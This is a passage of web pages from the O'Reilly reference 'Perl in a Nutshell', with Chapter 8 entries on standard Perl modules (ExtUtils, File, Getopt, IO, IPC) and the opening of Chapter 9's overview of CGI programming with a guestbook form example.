Produces option files used by some operating systems' linkers during creation of shared libraries for dynamic extensions. Normally called from a Makefile when a module is built; it exports one function:

  • Mksymlists

Previous: 8.57 ExtUtils::Mkbootstrap | Perl in a Nutshell | Next: 8.59 ExtUtils::MM_OS2
8.57 ExtUtils::Mkbootstrap | Book Index | 8.59 ExtUtils::MM_OS2


[Chapter 8] 8.59 ExtUtils::MM_OS2

Perl in a Nutshell

Perl in a NutshellSearch this book

8.59 ExtUtils::MM_OS2

Provides methods for use with MakeMaker for OS2 systems. Used internally by MakeMaker if needed. See ExtUtils::MM_Unix for documentation of the methods provided there. Overrides the implementation of the methods, not the interface.

Previous: 8.58 ExtUtils::Mksymlists | Perl in a Nutshell | Next: 8.60 ExtUtils::MM_Unix
8.58 ExtUtils::Mksymlists | Book Index | 8.60 ExtUtils::MM_Unix


[Chapter 8] 8.60 ExtUtils::MM_Unix

Perl in a Nutshell

Perl in a NutshellSearch this book

8.60 ExtUtils::MM_Unix

Provides methods for MakeMaker to handle portability issues. You never need to require this module, but you might want to if you are working on improving MakeMaker's portability

Provides methods for both Unix and non-Unix systems; on non-Unix systems, they can be overridden by methods defined in other MM_* modules. The methods are listed here:

  • catdir
  • catfile
  • dir_target
  • file_name_is_absolute
  • find_perl
  • guess_name
  • has_link_code
  • libscan
  • lsdir
  • maybe_command_in_dirs
  • maybe_command
  • needs_linking
  • nicetext
  • path
  • perl_script
  • prefixify
  • replace_manpage_separator

8.60.1 Methods to Produce the Makefile

ExtUtils::MM_Unix has some additional methods that are called in sequence to produce a Makefile. The list of methods is specified in the array @ExtUtils::MakeMaker::MM_Sections, one method per section. The routines are all called the same way and so are just listed here. Each method returns the string to be put into its section of the Makefile.

The methods are called in the order that they are listed in the following table, reading down the columns:

post_initialize | top_targets | realclean
const_config | linkext | dist_basics
constants | dlsyms | dist_core
const_loadlibs | dynamic | dist_dir
const_cccmd | dynamic_bs | dist_test
tool_autosplit | dynamic_lib | dist_ci
tool_xsubpp | static | install
tools_other | static_lib | force
dist | installpm | perldepend
macro | installpm_x | makefile
depend | manifypods | staticmake
post_constants | processPL | test
pasthru | installbin | test_via_harness
c_o | subdirs | test_via_script
xs_c | subdir_x | postamble
xs_o | clean |

Finally, there are two special methods: post_initialize and postamble. They each return an empty string by default and can be defined in Makefile.PL to insert customized text near the beginning or end of the Makefile.

Previous: 8.59 ExtUtils::MM_OS2 | Perl in a Nutshell | Next: 8.61 ExtUtils::MM_VMS
8.59 ExtUtils::MM_OS2 | Book Index | 8.61 ExtUtils::MM_VMS


[Chapter 8] 8.61 ExtUtils::MM_VMS

Perl in a Nutshell

Perl in a NutshellSearch this book

8.61 ExtUtils::MM_VMS

Provides methods for use with MakeMaker for VMS systems. Used internally by MakeMaker if needed. See ExtUtils::MM_Unix for documentation of the methods provided there. Overrides the implementation of the methods, not the interface.

Previous: 8.60 ExtUtils::MM_Unix | Perl in a Nutshell | Next: 8.62 ExtUtils::MM_Win32
8.60 ExtUtils::MM_Unix | Book Index | 8.62 ExtUtils::MM_Win32


[Chapter 8] 8.62 ExtUtils::MM_Win32

Perl in a Nutshell

Perl in a NutshellSearch this book

8.62 ExtUtils::MM_Win32

Provides methods for use with MakeMaker for Win32 systems. Used internally by MakeMaker in the standard Win32 Perl distribution if needed. See ExtUtils::MM_Unix for a documentation of the methods provided there. Overrides the implementation of these methods, not the interface.

  • catfile
  • constants
  • static_lib
  • dynamic_bs
  • dynamic_lib
  • canonpath
  • perl_script
  • pm_to_blib
  • test_via_harness
  • tool_autosplit
  • tools_other
  • xs_o
  • top_targets
  • manifypods
  • dist_ci
  • dist_core
  • pasthru

Previous: 8.61 ExtUtils::MM_VMS | Perl in a Nutshell | Next: 8.63 ExtUtils::Packlist
8.61 ExtUtils::MM_VMS | Book Index | 8.63 ExtUtils::Packlist


[Chapter 8] 8.63 ExtUtils::Packlist

Perl in a Nutshell

Perl in a NutshellSearch this book

8.63 ExtUtils::Packlist

Manages .packlist files. Supports an extended .packlist format. The original format is a list of absolute pathnames, one pathname per line. In the extended format, each line can also contain a list of attributes as key/value pairs, which are used by the installperl script. For example:

/usr/local/bin/perl from=/usr/local/pbeta/bin/perl5.005 type=link
/usr/local/bin/perl5.005 type=file
/usr/local/lib/perl5/5.005/AnyDBM_File.pm type=file
Also see ExtUtils::Installed.

  • new
  • packlist_file
  • read
  • validate
  • write

Previous: 8.62 ExtUtils::MM_Win32 | Perl in a Nutshell | Next: 8.64 ExtUtils::testlib
8.62 ExtUtils::MM_Win32 | Book Index | 8.64 ExtUtils::testlib


[Chapter 8] 8.64 ExtUtils::testlib

Perl in a Nutshell

Perl in a NutshellSearch this book

8.64 ExtUtils::testlib

Used for testing a module after it's been built and before it's been installed, when you don't want to (or can't) run make test. Adding:

use ExtUtils::testlib;
to your test program causes the intermediate directories used by make to be added to @INC, allowing you to run the test.

Previous: 8.63 ExtUtils::Packlist | Perl in a Nutshell | Next: 8.65 Fatal
8.63 ExtUtils::Packlist | Book Index | 8.65 Fatal


[Chapter 8] 8.65 Fatal

Perl in a Nutshell

Perl in a NutshellSearch this book

8.65 Fatal

Provides a way to replace functions that return false on failure with equivalents that die instead, so you can use the functions without having to test the return values explicitly. Fatal reports errors via die; you can trap them with $SIG{__DIE__} if you want to take some action before the program exits. You can use Fatal for both user-defined functions and Perl core operators except exec and system.

  • import

Previous: 8.64 ExtUtils::testlib | Perl in a Nutshell | Next: 8.66 Fcntl
8.64 ExtUtils::testlib | Book Index | 8.66 Fcntl


[Chapter 8] 8.66 Fcntl

Perl in a Nutshell

Perl in a NutshellSearch this book

8.66 Fcntl

A translation of the C fcntl.h program that uses h2xs (which builds a Perl extension from a C header file) and the C compiler to translate #define symbols and make them available as functions. Exports the following routines by default; each routine returns the value of the #define that is the same as the routine name:

FD_CLOEXEC | F_DUPFD | F_GETFD | F_GETFL | F_GETLK
F_RDLCK | F_SETFD | F_SETFL | F_SETLK | F_SETLKW
F_UNLCK | F_WRLCK | O_APPEND | O_CREAT | O_EXCL
O_NDELAY | O_NOCTTY | O_NONBLOCK | O_RDONLY | O_RDWR
O_TRUNC | O_WRONLY |  |  |

Previous: 8.65 Fatal | Perl in a Nutshell | Next: 8.67 fields
8.65 Fatal | Book Index | 8.67 fields


[Chapter 8] 8.67 fields

Perl in a Nutshell

Perl in a NutshellSearch this book

8.67 fields

Pragma that provides the ability to define class fields at compile time, by updating the %FIELDS hash in the calling package. The %FIELDS hash is set up at compile time as well; use the base pragma to copy fields from base classes, and then fields to add new fields. Lets you have objects with named fields that are as compact and fast as arrays to access. For more details, see the fields manpage and the pseudo-hash section of the perlref manpage.

Previous: 8.66 Fcntl | Perl in a Nutshell | Next: 8.68 File::Basename
8.66 Fcntl | Book Index | 8.68 File::Basename


[Chapter 8] 8.68 File::Basename

Perl in a Nutshell

Perl in a NutshellSearch this book

8.68 File::Basename

Parses a file's path, returning its three component pieces: the path to the file, the file's basename, and the file's extension. For example, for:

/usr/local/lib/perl5/SelectSaver.pm
the path is /usr/local/lib/perl5, the basename is SelectSaver, and the extension is .pm. File::Basename exports the following functions:

  • basename
  • dirname
  • fileparse
  • fileparse_set_fstype

Previous: 8.67 fields | Perl in a Nutshell | Next: 8.69 File::CheckTree
8.67 fields | Book Index | 8.69 File::CheckTree


[Chapter 8] 8.69 File::CheckTree

Perl in a Nutshell

Perl in a NutshellSearch this book

8.69 File::CheckTree

Runs file tests on a set of files. Exports one function, validate, which takes a single multi-line string as input. Each line of the string contains a filename plus a test to run on the file. The test can be followed with || die to make it a fatal error if it fails. The default is || warn. Prepending ! to the test reverses the sense of the test. You can group tests (e.g., -rwx); only the first failed test of the group produces a warning. For example:

use File::CheckTree;
$warnings += validate( q{
    /vmunix            -e || die
    /bin               cd
        csh            !-ug
        sh             -ex
    /usr               -d || warn "What happened to $file?\n"
});
Available tests include all the standard Perl file-test operators except -t, -M, -A, and -C. Unless it dies, validate returns the number of warnings issued.

Previous: 8.68 File::Basename | Perl in a Nutshell | Next: 8.70 File::Compare
8.68 File::Basename | Book Index | 8.70 File::Compare


[Chapter 8] 8.70 File::Compare

Perl in a Nutshell

Perl in a NutshellSearch this book

8.70 File::Compare

Compares the contents of two sources, each of which can be a file or a filehandle. Returns 0 if the sources are equal, 1 if they are unequal, and -1 on error. File::Compare provides two functions:

  • compare
  • cmp

Previous: 8.69 File::CheckTree | Perl in a Nutshell | Next: 8.71 File::Copy
8.69 File::CheckTree | Book Index | 8.71 File::Copy


[Chapter 8] 8.71 File::Copy

Perl in a Nutshell

Perl in a NutshellSearch this book

8.71 File::Copy

Copies or moves files or filehandles from one location to another. Returns 1 on success, 0 on failure, or sets $! on error.

  • copy
  • cp
  • move
  • mv

Previous: 8.70 File::Compare | Perl in a Nutshell | Next: 8.72 File::DosGlob
8.70 File::Compare | Book Index | 8.72 File::DosGlob


[Chapter 8] 8.72 File::DosGlob

Perl in a Nutshell

Perl in a NutshellSearch this book

8.72 File::DosGlob

Provides a portable enhanced DOS-like globbing for the standard Perl distribution. DosGlob lets you use wildcards in directory paths, is case-insensitive, and accepts both backslashes and forward slashes (although you may have to double the backslashes). Can be run three ways:

  • From a Perl script:

    require 5.004
use File::DosGlob 'glob';

@perlfiles = glob  "..\pe?l/*.p?";
print <..\pe?l/*.p?>;

  • With the perl command, on the command line:

    # from the command line (overrides only in main::)
% perl -MFile::DosGlob=glob -e "print <../pe*/*p?>"

  • With the perlglob.bat program on the DOS command line:

    % perlglob ../pe*/*p?

When invoked as a program from the command line, File::DosGlob prints null-separated filenames to STDOUT.

Previous: 8.71 File::Copy | Perl in a Nutshell | Next: 8.73 File::Find
8.71 File::Copy | Book Index | 8.73 File::Find


[Chapter 8] 8.73 File::Find

Perl in a Nutshell

Perl in a NutshellSearch this book

8.73 File::Find

Looks for files that match a particular expression. Exports two functions:

  • find
  • finddepth

Previous: 8.72 File::DosGlob | Perl in a Nutshell | Next: 8.74 File::Path
8.72 File::DosGlob | Book Index | 8.74 File::Path


[Chapter 8] 8.74 File::Path

Perl in a Nutshell

Perl in a NutshellSearch this book

8.74 File::Path

Creates and deletes multiple directories with specified permissions. Exports two methods:

  • mkpath
  • rmtree

Previous: 8.73 File::Find | Perl in a Nutshell | Next: 8.75 File::Spec
8.73 File::Find | Book Index | 8.75 File::Spec


[Chapter 8] 8.75 File::Spec

Perl in a Nutshell

Perl in a NutshellSearch this book

8.75 File::Spec

Performs common operations on file specifications in a portable way. To do that, it automatically loads the appropriate operating-system-specific module, which is one of File::Spec::Mac, File::Spec::OS2, File::Spec::Unix, File::Spec::VMS, or File::Spec::Win32. The complete reference of available functions is given in File::Spec::Unix; the functions are inherited by the other modules and overridden as necessary. Subroutines should be called as class methods, rather than directly.

Previous: 8.74 File::Path | Perl in a Nutshell | Next: 8.76 File::Spec::Mac
8.74 File::Path | Book Index | 8.76 File::Spec::Mac


[Chapter 8] 8.76 File::Spec::Mac

Perl in a Nutshell

Perl in a NutshellSearch this book

8.76 File::Spec::Mac

File::Spec for MacOS.

  • canonpath
  • catdir
  • catfile
  • curdir
  • file_name_is_absolute
  • path
  • rootdir
  • updir

Previous: 8.75 File::Spec | Perl in a Nutshell | Next: 8.77 File::Spec::OS2
8.75 File::Spec | Book Index | 8.77 File::Spec::OS2


[Chapter 8] 8.77 File::Spec::OS2

Perl in a Nutshell

Perl in a NutshellSearch this book

8.77 File::Spec::OS2

File::Spec for OS/2. Overrides the implementation of the File::Spec::Unix methods, but not the interface.

Previous: 8.76 File::Spec::Mac | Perl in a Nutshell | Next: 8.78 File::Spec::Unix
8.76 File::Spec::Mac | Book Index | 8.78 File::Spec::Unix


[Chapter 8] 8.78 File::Spec::Unix

Perl in a Nutshell

Perl in a NutshellSearch this book

8.78 File::Spec::Unix

File::Spec for Unix. Provides methods for File::Spec to use in manipulating file specifications.

  • canonpath
  • catdir
  • catfile
  • curdir
  • file_name_is_absolute
  • join
  • no_upwards
  • path
  • rootdir
  • updir

Previous: 8.77 File::Spec::OS2 | Perl in a Nutshell | Next: 8.79 File::Spec::VMS
8.77 File::Spec::OS2 | Book Index | 8.79 File::Spec::VMS


[Chapter 8] 8.79 File::Spec::VMS

Perl in a Nutshell

Perl in a NutshellSearch this book

8.79 File::Spec::VMS

File::Spec for VMS. Overrides the implementation of the File::Spec::Unix methods, but not the interface.

  • catdir
  • catfile
  • curdir
  • file_name_is_absolute
  • path
  • rootdir
  • updir

Previous: 8.78 File::Spec::Unix | Perl in a Nutshell | Next: 8.80 File::Spec::Win32
8.78 File::Spec::Unix | Book Index | 8.80 File::Spec::Win32


[Chapter 8] 8.80 File::Spec::Win32

Perl in a Nutshell

Perl in a NutshellSearch this book

8.80 File::Spec::Win32

File::Spec for Win32. Overrides the implementation of the File::Spec::Unix methods, but not the interface.

  • canonpath
  • catfile

Previous: 8.79 File::Spec::VMS | Perl in a Nutshell | Next: 8.81 File::stat
8.79 File::Spec::VMS | Book Index | 8.81 File::stat


[Chapter 8] 8.81 File::stat

Perl in a Nutshell

Perl in a NutshellSearch this book

8.81 File::stat

Provides the same file status information as the Perl functions stat and lstat. Exports two functions that return File::stat objects. The objects have methods that return the equivalent fields from the Unix stat(2) call:

Field | Meaning
dev | Device number of filesystem
ino | Inode number
mode | File mode
nlink | Number of links to the file
uid | Numeric user ID of owner
gid | Numeric group ID of owner
rdev | Device identifier
size | Size of file, in bytes
atime | Last access time
mtime | Last modified time
ctime | Inode change time
blksize | Preferred blocksize for filesystem I/O
blocks | Number of blocks allocated

You can access the status fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and then accessing them by prepending st_ to the field name (e.g., $st_mode). Here are examples of doing it both ways:

use File::stat;

$stats = stat($file);
print $stats->uid;
print $st_uid;

  • stat
  • lstat

Previous: 8.80 File::Spec::Win32 | Perl in a Nutshell | Next: 8.82 FileCache
8.80 File::Spec::Win32 | Book Index | 8.82 FileCache


[Chapter 8] 8.82 FileCache

Perl in a Nutshell

Perl in a NutshellSearch this book

8.82 FileCache

Closes and re-opens files as necessary so you can always write to a file even if you already have the maximum number of files open. Exports one function:

  • cacheout

Previous: 8.81 File::stat | Perl in a Nutshell | Next: 8.83 FileHandle
8.81 File::stat | Book Index | 8.83 FileHandle


[Chapter 8] 8.83 FileHandle

Perl in a Nutshell

Perl in a NutshellSearch this book

8.83 FileHandle

Provides object methods for working with filehandles. Provides the following methods:

  • new
  • new_from_fd
  • fdopen
  • getpos
  • open
  • setpos
  • setvbuf

The following additional FileHandle methods act as front-ends for the corresponding built-in Perl functions (see the O'Reilly book Programming Perl or the perlfunc manpage for more detail):

clearerr | getc
close | gets
eof | seek
fileno | tell

The next group of FileHandle methods correspond to Perl special variables (see Programming Perl or the perlvar manpage):

autoflush | format_page_number
format_formfeed | format_top_name
format_line_break_characters | input_line_number
format_lines_left | input_record_separator
format_lines_per_page | output_field_separator
format_name | output_record_separator

Finally, the following methods are useful:

$fh->print

See Perl's built-in print function.

$fh->printf

See Perl's built-in printf function.

$fh->getline

Works like Perl's <FILEHANDLE> construct, except that it can be safely called in an array context (but it still returns just one line).

$fh->getlines

Works like Perl's <FILEHANDLE> construct when called in an array context to read all remaining lines in a file.

Previous: 8.82 FileCache | Perl in a Nutshell | Next: 8.84 FindBin
8.82 FileCache | Book Index | 8.84 FindBin


[Chapter 8] 8.84 FindBin

Perl in a Nutshell

Perl in a NutshellSearch this book

8.84 FindBin

Finds the full path to a script's bin directory, letting you use relative paths to that directory without needing to know the actual location:

use FindBin;
use lib "$FindBin::Bin/../lib";
or:
use FindBin qw($Bin);
use lib "$Bin/../lib";
FindBin exports the following variables:

$Bin

Path to bin directory from which script was invoked.

$Script

Basename of script from which Perl was invoked.

$RealBin

$Bin with all links resolved.

$RealScript

$Script with all links resolved.

If you invoke Perl with the -e option or read the Perl script from STDIN, then FindBin sets both $Bin and $RealBin to the current directory.

Previous: 8.83 FileHandle | Perl in a Nutshell | Next: 8.85 GDBM_File
8.83 FileHandle | Book Index | 8.85 GDBM_File


[Chapter 8] 8.85 GDBM_File

Perl in a Nutshell

Perl in a NutshellSearch this book

8.85 GDBM_File

Allows Perl programs to make use of the facilities provided by the GNU gdbm library. Most of the libgdbm.a functions are available as methods of the GDBM_File interface. See the gdbm(3) manpage and the description of DB_File in this chapter. The following is an example of the use of GDBM_File:

use GDBM_File;

tie %hash, "GDBM_File", $filename, &GDBM_WRCREAT, 0644);
# read/writes of %hash are now read/writes of $filename
untie %hash;

Previous: 8.84 FindBin | Perl in a Nutshell | Next: 8.86 Getopt::Long
8.84 FindBin | Book Index | 8.86 Getopt::Long


[Chapter 8] 8.86 Getopt::Long

Perl in a Nutshell

Perl in a NutshellSearch this book

8.86 Getopt::Long

Lets your program accept command-line options with long names, introduced by --. Standard single-character options are also accepted. Options that start with -- may have an argument appended, following a space or an equals sign (=):

--foo=bar
--foo bar
Provides two functions: GetOptions and config.

  • GetOptions
  • config

Previous: 8.85 GDBM_File | Perl in a Nutshell | Next: 8.87 Getopt::Std
8.85 GDBM_File | Book Index | 8.87 Getopt::Std


[Chapter 8] 8.87 Getopt::Std

Perl in a Nutshell

Perl in a NutshellSearch this book

8.87 Getopt::Std

Processes single-character command-line options with option clustering. Exports two functions, which analyze @ARGV, extract information about the options, and return this information to your program in a set of variables. Processing of @ARGV stops when an argument without a leading - is encountered, if that argument is not associated with a preceding option. Otherwise, @ARGV is processed to the end and left empty.

  • getopt
  • getopts

Previous: 8.86 Getopt::Long | Perl in a Nutshell | Next: 8.88 I18N::Collate
8.86 Getopt::Long | Book Index | 8.88 I18N::Collate


[Chapter 8] 8.88 I18N::Collate

Perl in a Nutshell

Perl in a NutshellSearch this book

8.88 I18N::Collate

The use of I18N::Collate is now deprecated, although it is still provided for compatibility with older programs. Don't use it in new programs, as its functionality was integrated into the core Perl in Perl 5.004. See the locale pragma.

Previous: 8.87 Getopt::Std | Perl in a Nutshell | Next: 8.89 integer
8.87 Getopt::Std | Book Index | 8.89 integer


[Chapter 8] 8.89 integer

Perl in a Nutshell

Perl in a NutshellSearch this book

8.89 integer

Pragma that tells the compiler to use integer operations from here to the end of the enclosing block. Improves processing time on systems without floating-point hardware support.

use integer;

$x = 10/3;   # $x is now 3, not 3.33333333333333333
Use the no integer directive to turn off integer inside an inner block.

Previous: 8.88 I18N::Collate | Perl in a Nutshell | Next: 8.90 IO
8.88 I18N::Collate | Book Index | 8.90 IO


[Chapter 8] 8.90 IO

Perl in a Nutshell

Perl in a NutshellSearch this book

8.90 IO

Loads all of the following IO modules with a single use statement: IO::Handle, IO::Seekable, IO::File, IO::Pipe, and IO::Socket.

Previous: 8.89 integer | Perl in a Nutshell | Next: 8.91 IO::File
8.89 integer | Book Index | 8.91 IO::File


[Chapter 8] 8.91 IO::File

Perl in a Nutshell

Perl in a NutshellSearch this book

8.91 IO::File

Inherits from IO::Handle and IO::Seekable, extending them with methods specific to filehandles. Provides three such methods:

  • new
  • new_tmpfile
  • open

Previous: 8.90 IO | Perl in a Nutshell | Next: 8.92 IO::Handle
8.90 IO | Book Index | 8.92 IO::Handle


[Chapter 8] 8.92 IO::Handle

Perl in a Nutshell

Perl in a NutshellSearch this book

8.92 IO::Handle

The base class for all other IO handle classes. Its main purpose is for the other IO classes to inherit from it; programs should not create IO::Handle objects directly. Provides the following methods:

  • new
  • new_from_fd
  • clearerr
  • error
  • fdopen
  • flush
  • getline
  • getlines
  • opened
  • ungetc
  • untaint
  • write

IO::Handle also provides the following methods, which are not described in detail here because they are simply front-ends for the corresponding built-in functions. See Chapter 5, Function Reference, for more information.

Method | Description
close | Closes file or pipe
eof | Returns 1 if next read will return end-of-file
fileno | Returns file descriptor for a filehandle
getc | Returns next character from input file
print | Prints a string or comma-separated list of strings
printf | Prints a formatted string
read | Reads data from a filehandle
stat | Returns an array of status information for a file
sysread | Reads data from a filehandle with system call read(2)
syswrite | Writes data to a filehandle with system call write(2)
truncate | Truncates a file to a specified length

Finally, the following methods act on the equivalent Perl variables. See Chapter 4 for more information.

Method | Description
autoflush | If nonzero, forces a flush now and after each write or print (default 0)
format_page_number | Current page number
format_lines_per_page | Current page length (default 60)
format_lines_left | Number of lines left on page
format_name | Name of current report format
format_top_name | Name of current top-of-page format
format_line_break_characters | Current set of linebreak chars for a format
format_formfeed | Formfeed char used by formats (default \f)
format_write | Wrapper for write function
input_record_separator | Input record separator (default newline)
input_line_number | Current input line number for last filehandle accessed
output_field_separator | Output field separator for print
output_record_separator | Output record separator for print

Previous: 8.91 IO::File | Perl in a Nutshell | Next: 8.93 IO::Pipe
8.91 IO::File | Book Index | 8.93 IO::Pipe


[Chapter 8] 8.93 IO::Pipe

Perl in a Nutshell

Perl in a NutshellSearch this book

8.93 IO::Pipe

Provides an interface for creating pipes between processes.

  • new
  • reader
  • writer
  • handles

Previous: 8.92 IO::Handle | Perl in a Nutshell | Next: 8.94 IO::Seekable
8.92 IO::Handle | Book Index | 8.94 IO::Seekable


[Chapter 8] 8.94 IO::Seekable

Perl in a Nutshell

Perl in a NutshellSearch this book

8.94 IO::Seekable

Intended to be inherited by other IO::Handle-based objects to provide methods that allow seeking of the file descriptors. Has no constructor.

use IO::Seekable;
package IO::XXX;
@ISA = qw(IO::Seekable);
Provides two methods:

  • seek
  • tell

Previous: 8.93 IO::Pipe | Perl in a Nutshell | Next: 8.95 IO::Select
8.93 IO::Pipe | Book Index | 8.95 IO::Select


[Chapter 8] 8.95 IO::Select

Perl in a Nutshell

Perl in a NutshellSearch this book

8.95 IO::Select

Implements an object-oriented approach to the system select function call. Allows the user to see what IO handles are ready for reading, writing, or have an error condition pending.

  • new
  • add
  • bits
  • can_read
  • can_write
  • count
  • exists
  • handles
  • has_error
  • remove
  • select

Previous: 8.94 IO::Seekable | Perl in a Nutshell | Next: 8.96 IO::Socket
8.94 IO::Seekable | Book Index | 8.96 IO::Socket


[Chapter 8] 8.96 IO::Socket

Perl in a Nutshell

Perl in a NutshellSearch this book

8.96 IO::Socket

Provides an object interface to creating and using sockets. It is built on the IO::Handle interface and inherits all the methods defined by IO::Handle.

IO::Socket defines methods for only those operations that are common to all types of socket. IO::Socket exports all functions (and constants) defined by Socket. See Chapter 13, Sockets, for detailed information.

Previous: 8.95 IO::Select | Perl in a Nutshell | Next: 8.97 IPC::Msg
8.95 IO::Select | Book Index | 8.97 IPC::Msg


[Chapter 8] 8.97 IPC::Msg

Perl in a Nutshell

Perl in a NutshellSearch this book

8.97 IPC::Msg

System V Msg IPC object class. Uses constants defined in IPC::SysV.

  • new
  • id
  • rcv
  • remove
  • set
  • snd
  • stat

Previous: 8.96 IO::Socket | Perl in a Nutshell | Next: 8.98 IPC::Open2
8.96 IO::Socket | Book Index | 8.98 IPC::Open2


[Chapter 8] 8.98 IPC::Open2

Perl in a Nutshell

Perl in a NutshellSearch this book

8.98 IPC::Open2

Opens a child process that allows two-way communication between your program and the child. Returns the process ID of the child process or reports a fatal error on failure. Exports one function:

  • open2

Previous: 8.97 IPC::Msg | Perl in a Nutshell | Next: 8.99 IPC::Open3
8.97 IPC::Msg | Book Index | 8.99 IPC::Open3


[Chapter 8] 8.99 IPC::Open3

Perl in a Nutshell

Perl in a NutshellSearch this book

8.99 IPC::Open3

IPC::Open3 works like IPC::Open2.

use IPC::Open3;

$pid = open3($wtr, $rdr, $err, $cmd_with_args);
$pid = open3($wtr, $rdr, $err, $cmd, "arg1", "arg2", ...);
The following differences apply:

  • The first two arguments ($wtr and $rdr) are passed in the opposite order.

  • A third filehandle can be passed, for standard error. If this argument is given as "", then STDERR and STDOUT for $cmd are on the same filehandle.

  • If $wtr begins with <, then the leading < is stripped from the name and the remainder is assumed to be a regular filehandle for an open file, rather than a reference to a typeglob. open3 opens this file as STDIN for $cmd and closes it in the parent. Likewise, if $rdr or $err begins with >, then $cmd directs STDOUT or STDERR directly to that file rather than to the parent.

Previous: 8.98 IPC::Open2 | Perl in a Nutshell | Next: 8.100 IPC::Semaphore
8.98 IPC::Open2 | Book Index | 8.100 IPC::Semaphore


[Chapter 9] CGI Overview

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: IV. CGI Chapter 9 Next: 9.2 URL Encoding

9. CGI Overview

Contents:
A Typical CGI Interaction
URL Encoding
Extra Path Information
CGI Environment Variables

Perl is the most commonly used language for CGI programming on the World Wide Web. The Common Gateway Interface (CGI) is an essential tool for creating and managing comprehensive web sites. With CGI, you can write scripts that create interactive, user-driven applications.

CGI allows the web server to communicate with other programs that are running on the same machine. For example, with CGI, the web server can invoke an external program, while passing user-specific data to the program (such as what host the user is connecting from, or input the user has supplied through an HTML form). The program then processes that data, and the server passes the program's response back to the web browser.

Rather than limiting the Web to documents written ahead of time, CGI enables web pages to be created on the fly, based upon the input of users. You can use CGI scripts to create a wide range of applications, from surveys to search tools, from Internet service gateways to quizzes and games. You can increment the number of users who access a document or let them sign an electronic guestbook. You can provide users with all types of information, collect their comments, and respond to them.

For Perl programmers, there are two approaches you can take to CGI. They are:

  • Programs that handle all CGI interaction directly, without the use of a module such as CGI.pm. While often frowned upon by Perl programmers because it's more likely to introduce bugs, bypassing the modules has the advantage of avoiding the overhead of CGI.pm for quick, dirty tasks. This chapter explains the concepts of CGI necessary if you intend to write CGI programs from scratch.

  • CGI.pm is a Perl module designed to facilitate CGI programming. For non-trivial CGI programs, especially ones that need to maintain state over multiple transactions, CGI.pm is indispensable, and is included in the standard Perl distribution as of Perl 5.004. Rather than discuss it in Chapter 8, Standard Modules, with the rest of the standard libraries, however, its complexity and importance made it a candidate for its own chapter, Chapter 10, The CGI.pm Module.

One performance hit for CGI programs is that the Perl interpreter needs to be started up each and every time a CGI script is called. For improving performance on Apache systems, the mod_perl Apache module embeds the Perl interpreter directly into the server, avoiding the startup overhead. Chapter 11, Web Server Programming with mod_perl, talks about installing and using mod_perl.

9.1 A Typical CGI Interaction

For an example of a CGI application, suppose you create a guestbook for your website. The guestbook page asks users to submit their first name and last name using a fill-in form composed of two input text fields. Figure 9.1 shows the form you might see in your browser window.

Figure 9.1: HTML form

Figure 9.1

The HTML that produces this form might read as follows:

<HTML><HEAD><TITLE>Guestbook</TITLE></HEAD>
<BODY>
<H1>Fill in my guestbook!</H1>
<FORM METHOD="GET" ACTION="/cgi-bin/guestbook.pl">
<PRE>
First Name:   <INPUT TYPE="TEXT" NAME="firstname">
Last Name:    <INPUT TYPE="TEXT" NAME="lastname">

<INPUT TYPE="SUBMIT">    <INPUT TYPE="RESET">
</FORM>
The form is written using special "form" tags, as follows:

  • The <form> tag defines the method used for the form (either GET or POST) and the action to take when the form is submitted - that is, the URL of the CGI program to pass the parameters to.

  • The <input> tag can be used in many different ways. In its first two invocations, it creates a text input field and defines the variable name to associate with the field's contents when the form is submitted. The first field is given the variable name firstname and the second field is given the name lastname.

  • In its last two invocations, the <input> tag creates a "submit" button and a "reset" button.

  • The </form> tag indicates the end of the form.

When the user presses the "submit" button, data entered into the <input> text fields is passed to the CGI program specified by the action attribute of the <form> tag (in this case, the /cgi-bin/guestbook.pl program).

9.1.1 Transferring the Form Data

Parameters to a CGI program are transferred either in the URL or in the body text of the request. The method used to pass parameters is determined by the method attribute to the <form> tag. The GET method says to transfer the data within the URL itself; for example, under the GET method, the browser might initiate the HTTP transaction as follows:

GET /cgi-bin/guestbook.pl?firstname=Joe&lastname=Schmoe HTTP/1.0

The POST method says to use the body portion of the HTTP request to pass parameters. The same transaction with the POST method would read as follows:

POST /cgi-bin/guestbook.pl HTTP/1.0
    ... [More headers here]

firstname=Joe&lastname=Schmoe
In both of these examples, you should recognize the firstname and lastname variable names that were defined in the HTML form, coupled with the values entered by the user. An ampersand (&) is used to separate the variable=value pairs.

The server now passes the variable=value pairs to the CGI program. It does this either through Unix environment variables or in standard input (STDIN). If the CGI program is called with the GET method, then parameters are expected to be embedded into the URL of the request, and the server transfers them to the program by assigning them to the QUERY_STRING environment variable. The CGI program can then retrieve the parameters from QUERY_STRING as it would read any environment variable (for example, from the %ENV hash in Perl). If the CGI program is called with the POST method, parameters are expected to be embedded into the body of the request, and the server passes the body text to the program as standard input (STDIN).

Other environment variables defined by the server for CGI store such information as the format and length of the input, the remote host, the user, and various client information. They also store the server name, the communication protocol, and the name of the software running the server. (We provide a list of the most common CGI environment variables later in this chapter.)

The CGI program needs to retrieve the information as appropriate and then process it. The sky's the limit on what the CGI program actually does with the information it retrieves. It might return an anagram of the user's name, or tell her how many times her name uses the letter "t," or it might just compile the name into a list that the programmer regularly sells to telemarketers. Only the programmer knows for sure.

9.1.2 Creating Virtual Documents

Regardless of what the CGI program does with its input, it's responsible for giving the browser something to display when it's done. It must either create a new document to be served to the browser or point to an existing document. On Unix, programs send their output to standard output (STDOUT) as a data stream that consists of two parts. The first part is either a full or partial HTTP header that (at minimum) describes the format of the returned data (e.g., HTML, ASCII text, GIF, etc.). A blank line signifies the end of the header section. The second part is the body of the output, which contains the data conforming to the format type reflected in the header. For example:

Content-type: text/html
<HTML>
<HEAD><TITLE>Thanks!</TITLE></HEAD>
<BODY><H1>Thanks for signing my guest book!</H1>
    ...
</BODY></HTML>
In this case, the only header line generated is Content-type, which gives the media format of the output as HTML (text/html). This line is essential for every CGI program, since it tells the browser what kind of format to expect. The blank line separates the header from the body text (which, in this case, is in HTML format as advertised).

The server transfers the results of the CGI program back to the browser. The body text is not modified or interpreted by the server in any way, but the server generally supplies additional headers with information such as the date, the name and version of the server, etc.

CGI programs can also supply a complete HTTP header itself, in which case the server does not add any additional headers but instead transfers the response verbatim as returned by the CGI program. The server needs to be configured to allow this behavior; see your server documentation on NPH (no-parsed headers) scripts for more information.

Here is the sample output of a program generating an HTML virtual document, with a complete HTTP header:

HTTP/1.0 200 OK
Date:  Thursday, 28-June-96 11:12:21 GMT
Server: NCSA/1.4.2
